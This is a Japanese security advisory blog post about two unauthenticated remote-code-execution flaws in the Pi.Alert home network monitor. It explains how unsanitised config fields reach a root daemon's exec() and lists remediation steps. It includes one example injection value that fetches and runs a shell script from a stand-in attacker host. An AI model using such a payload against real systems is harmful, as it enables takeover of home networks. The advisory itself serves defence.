Pi.Alertに2件の認証なしRCE CVE-2026-44887/44888、家庭ネット監視が危機
家庭・SOHO向けネットワーク監視ツール『Pi.Alert』に2件の認証なしRCE(CVE-2026-44887/44888、CVSS 9.8×2)。Web保護がデフォルト無効、攻撃者がpialert.confへPython注入、スキャンデーモンがexec()で実行。2026-05-07で修正。

堀川 慎
Backend Engineer / AWS / Django
家庭・SOHO向けネットワーク監視ツール『Pi.Alert』に2件の認証なしRCE(CVE-2026-44887/44888、CVSS 9.8×2)。Web保護がデフォルト無効、攻撃者がpialert.confへPython注入、スキャンデーモンがexec()で実行。2026-05-07で修正。
家庭やSOHOで自宅Wi-Fiに繋がっている端末を監視するOSS「Pi.Alert」に、2件の重大な認証なしリモートコード実行脆弱性が見つかりました。CVE-2026-44887とCVE-2026-44888、いずれもCVSS 9.8です。2026年5月27日にNVDが正式登録、2026-05-07リリースで修正済みです。
Pi.Alertは「自分のWi-Fiに知らない端末が繋がっていないか」を検知するためのツールで、Raspberry Pi 上で動かすホームラボ用途として人気があります。本来は家のネットワークを守るための番犬のはずが、その設定画面に2件のPythonコード注入脆弱性があり、攻撃者が pialert.conf に任意コードを書き込めば、スキャンデーモン側がそれをexec()で読み込んで実行してしまいます。番犬が侵入者の手先に変わる構造です。
最大の問題はデフォルトでWeb保護が無効になっていることです。設定キーPIALERT_WEB_PROTECTION = Falseが既定値で、家庭ネットワークの中だけで使うことを前提とした設計でしたが、ユーザーが意図せずポート転送を設定したり、リモートワーク用に外部公開したりすると、即座にRCE経路が外部に晒されます。
Pi.Alertとは何か
Pi.AlertはドイツのleiweibauがメンテナンスするOSSで、もともと別の開発者pucherotが作った Pi-Alert からのフォークです。仕組みはシンプルで、Raspberry Pi(または任意のLinuxマシン)上にDockerまたは直接インストールし、定期的にARPスキャンとnmapでLAN内の端末一覧を取得、新しいMACアドレスを検知するとPushoverやメール、Telegramで通知を飛ばします。
主な利用シーンは次の通りです。
- 家庭ユーザーが「子供のIoT機器以外に知らないMACアドレスがWi-Fiにいないか」を監視
- SOHOオーナーが事務所の無線LANに不正接続がないかを記録
- ホームラボ愛好家がRaspberry Pi上で常時稼働させる定番OSSのひとつ
- 賃貸物件の管理人が共用Wi-Fiの利用状況を把握
- Webサービス監視機能(ヘルスチェック)と組み合わせて社内サービスの死活監視も同居
GitHubのスター数は3,000を超え、Reddit r/selfhosted や Home Assistant コミュニティで頻繁に話題に上がる「自宅ネットワーク監視の定番」です。商用製品ではなく、個人の自己責任ベースで動かすOSSという位置付けでしたが、その個人運用が攻撃者にとって美味しい標的になる構図が今回の事案です。
CVE-2026-44887:Web設定エディタからのPython注入(CVSS 9.8)
CVE-2026-44887は、Pi.AlertのWeb管理画面に組み込まれた設定エディタが、ユーザー入力をサニタイズせずにpialert.confに書き込むことに起因します。NVDの分類はCWE-94(コード生成の不適切な制御)。
Pi.Alertの設定ファイルは、Python構文として読み込み可能な形式で書かれており、バックグラウンドのスキャンデーモンが起動時と定期的(3〜5分ごと)にexec(open('pialert.conf').read())に近い形で読み込みます。攻撃者がWeb管理画面経由でこの設定ファイルに任意のPython式を書き込めば、デーモンが次のサイクルで自動的にその式を実行します。
スキャンデーモンは多くの場合root権限で動いています。ARPスキャンや低レベルのネットワーク捜査を行うためです。結果として攻撃者は、Web経由で送ったPythonコードをそのマシンのroot権限で実行できる状態になります。報告者はaslein1413-sys氏で、2026年5月8日に開発者へ報告したことがGHSAアドバイザリに記録されています。
CVE-2026-44888:SaveConfigFile()の数値フィールド検証欠落(CVSS 9.8)
CVE-2026-44888は、同じくpialert.confへのコード注入経路ですが、攻撃ポイントが異なります。front/php/server/files.phpのSaveConfigFileアクションが、ユーザーが送信した「数値」フィールドを検証せずに直接設定ファイルに書き込むため、攻撃者は数値フィールドのつもりで送られる値にPython式を埋め込めます。
特に問題なのがDB_PATHとLOG_PATHの2つの設定キーで、これらは設定ファイル内でクォート(引用符)なしで書かれる仕様になっています。本来パス文字列は文字列リテラルとしてクォートで囲まれているべきですが、クォートなしで書かれるため、攻撃者はDB_PATH=__import__('os').system('curl attacker.com/sh|sh')のような形で式を仕込めば、スキャンデーモンのPythonインタプリタが次の読み込み時にそれを式として評価し、実際にコマンドを実行します。GHSAアドバイザリにPoCの構造が記載されています。
| CVE | 攻撃ポイント | 注入方式 | CVSS |
|---|---|---|---|
| CVE-2026-44887 | Web設定エディタ | 任意Python式を pialert.confへ書込 | 9.8 |
| CVE-2026-44888 | SaveConfigFile数値フィールド | DB_PATH / LOG_PATHクォートなし注入 | 9.8 |
両CVEとも報告者は同じaslein1413-sys氏で、Pi.Alertのバックエンド設計の根本的な「設定ファイルをexec()で読む」という選択そのものに由来します。修正版(2026-05-07リリース)では、設定ファイル書き込み時のクォート処理と、Web保護のデフォルト有効化がセットで入っています。
なぜ家庭・SOHO監視ツールが狙われるのか
Pi.Alertのような自宅ネットワーク監視ツールが攻撃面として狙われる動機は、見落とされがちですが明確です。
第一に、これらのツールは多くの場合root権限で動き、家庭内ネットワーク全体を見渡せる位置にいます。攻撃者にとっては、家のネットワーク内のすべての端末(PC、スマホ、IoT機器、NAS)への偵察と横展開の起点として極めて価値が高い場所です。
第二に、個人運用のためセキュリティパッチが当たりにくい傾向があります。Pi.Alertを動かしている個人ユーザーは、家のRaspberry Piを月単位・年単位で再起動せず放置することも珍しくありません。商用ベンダーのプロダクトと違って自動アップデートの仕組みが弱く、CVE開示から実際のパッチ適用までに長いタイムラグが生まれます。
第三に、リモートアクセスのためにポート公開しているケースが意外と多い。技術志向のホームラボユーザーは「外出先からも自宅ネットの状態を見たい」という動機で、Pi.AlertのWeb UIをCloudflare TunnelやTailscale、または直接ポート転送で外部に公開する設定をしばしば取ります。この瞬間にデフォルトの「Web保護無効」が致命的に作用します。
第四に、マイニング・ボットネット・プロキシ用途として「使い捨てに丁度いい」。攻撃者にとって、家庭ネット内の常時稼働するLinuxマシン(多くがRaspberry Pi)は、暗号通貨マイナーやプロキシボット、DDoSの踏み台として理想的な「軽くて目立たない」リソースです。Pi.Alertを乗っ取れば、家のネットワーク帯域とCPUを長期間こっそり使い続けられます。
いますぐやるべきこと
1. Pi.Alertを最新版(2026-05-07以降のリリース)にアップデート。 Dockerで動かしている場合はdocker pull jokobsk/pi.alertまたはdocker pull leiweibau/pi.alertで最新イメージを取得し、コンテナを再起動します。Gitクローン経由で動かしている場合はgit pull後にスキャンデーモンを再起動します。
2. PIALERT_WEB_PROTECTIONをTrueに設定。 設定ファイル/config/pialert.confを直接編集し、PIALERT_WEB_PROTECTION = Trueに変更します。これによりWeb UIへのアクセスに認証が必要になります。修正版でもこの設定は念のため明示的に有効化します。
3. Web UIの外部公開をいったん停止。 Cloudflare TunnelやNgrokなどで外部に公開していた場合、修正版アップデートと認証設定の確認が終わるまで一時的に停止します。SSH/VPN経由でアクセスする運用に切り替える検討も有効です。
4. Pi.Alertを動かしているマシンの侵害確認。 /tmp、/var/tmp、ユーザーホームディレクトリに身に覚えのない実行ファイルやcronエントリがないかチェックします。Raspberry Pi上では特に、暗号通貨マイナー(XMRig等)やリバースシェルのスクリプトが残されているケースがあります。ps auxで見慣れないプロセス、netstat -tnpで見慣れない外向き接続がないかも確認します。
5. Pi.Alertが扱うログ・設定をローテーション。 攻撃成立時はPi.Alertが収集していたMACアドレス履歴・端末スキャン結果が全部漏れている可能性があります。家庭内ネットワークの構成情報自体は機密度が低いように見えますが、訪問者の端末履歴・在宅パターン分析・IoT機器の型番特定など、組み合わせれば物理的な侵入計画にも使われうる情報です。家の中の機器の棚卸しと、必要に応じてWi-Fiパスワード変更を行います。
6. 家庭・SOHO規模でも「番犬を守る」発想を。 監視ツール自体が攻撃面になる構造は、企業の SIEM や EDR でも同じです。本サイトではTrivyの2回連続侵害や同日公開したDalfox CVE-2026-45087でも同種パターンを取り上げています。家のセキュリティ装置も、定期アップデートと外部公開の最小化が基本のメンテナンス習慣です。
CISA KEVへの登録状況とハブ記事連動
2026年5月28日時点で、CVE-2026-44887/44888はCISAのKEVカタログに未登録です。Pi.Alertは家庭・個人運用が中心の小規模OSSのため、米連邦機関向けのKEVカタログの一次対象からは外れますが、ボットネット運用者や暗号通貨マイナー配布者にとっては理想的な小型ターゲットとして悪用される可能性が高い類のソフトウェアです。
本サイトでは、攻撃中とCISAが認定したCVEの一覧をCISA KEVダッシュボード(日本語版)で随時更新しています。家庭・SOHO向けOSS(Pi-hole、Home Assistant、Plex、Jellyfin、Nextcloud等)の CVE 観測には、OSSサプライチェーン・スキャナーから最新状況を確認できます。Pi.Alertを含む自宅運用OSSのCVE管理は、エンタープライズ製品と同じ厳密さで運用する習慣が、攻撃者の長期滞在を防ぐ鍵になります。